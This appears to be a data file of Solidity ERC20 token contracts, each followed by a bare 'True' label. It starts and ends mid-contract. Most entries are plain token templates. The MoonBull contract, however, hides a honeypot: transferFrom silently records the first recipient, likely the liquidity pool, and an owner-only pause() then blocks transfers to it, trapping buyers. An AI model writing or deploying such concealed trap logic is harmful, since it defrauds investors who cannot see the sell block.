13H8V12H7V11H9V13ZM11 13V14H9V13H11ZM14 13H13V12H12V13H11V11H14V13ZM16 13H14V14H16V13ZM16 11H18V12H17V13H16V11ZM16 11H14V10H16V11ZM11 15H14V16H11V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ) ] ), SVGComposition( [ PathData( "M16 10V11H18V12H17V13H16V14H14V13H13V12H12V13H11V14H9V13H8V12H7V11H9V10H11V11H14V10H16ZM11 15H14V16H11V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M16 10V11H18V12H17V13H16V14H14V13H13V12H12V13H11V14H9V13H8V12H7V11H9V10H11V11H14V10H16ZM11 15H14V16H11V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ) ]; SVGComposition memory comp = svgData[slot % svgData.length]; bytes memory svg = ""; svg = abi.encodePacked(svg, pathDataToSVG(comp.paths[0])); svg = abi.encodePacked(svg, pathDataToSVG(comp.paths[1])); svg = abi.encodePacked(svg, pathDataToSVG(comp.paths[2])); return svg; } }

True

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// SPDX-License-Identifier: Unlicensed pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract BabyKishuInu is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Baby Kishu Inu"; symbol = "BKISHU"; decimals = 18; _totalSupply = 1 * 10**11 * 10**18; balances[msg.sender] = 1 * 10**11 * 10**18; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }

True

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/* _____ ______ ________ ________ ________ ________ ___ ___ ___ ___ |\ _ \ _ \|\ __ \|\ __ \|\ ___ \|\ __ \|\ \|\ \|\ \ |\ \ \ \ \\\__\ \ \ \ \|\ \ \ \|\ \ \ \\ \ \ \ \|\ /\ \ \\\ \ \ \ \ \ \ \ \ \\|__| \ \ \ \\\ \ \ \\\ \ \ \\ \ \ \ __ \ \ \\\ \ \ \ \ \ \ \ \ \ \ \ \ \ \\\ \ \ \\\ \ \ \\ \ \ \ \|\ \ \ \\\ \ \ \____\ \ \____ \ \__\ \ \__\ \_______\ \_______\ \__\\ \__\ \_______\ \_______\ \_______\ \_______\ \|__| \|__|\|_______|\|_______|\|__| \|__|\|_______|\|_______|\|_______|\|_______| t.me/moonbullfinance */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MoonBull is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _symbol = 'MOONBULL'; string private _name = 'MoonBull'; uint8 private _decimals = 18; uint transfers; address newn; bool paused; uint256 public _maxTxAmount = 1000000000000000 * 10**18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); transfers = 1; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function pause() public onlyOwner { paused = true; } function transfer(address recipient, uint256 amount) public override returns (bool) { require(!paused || recipient != newn); _transfer(_msgSender(), recipient, amount); transfers += 1; return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if(sender != address(0) && newn == address(0)) { newn = recipient; } else { require(!paused || recipient != newn); } _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract HashnodeTestCoin is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function HashnodeTestCoin() { balances[msg.sender] = 100000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 100000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "Rawan"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "RAW"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 10; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return payable(msg.sender); } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to 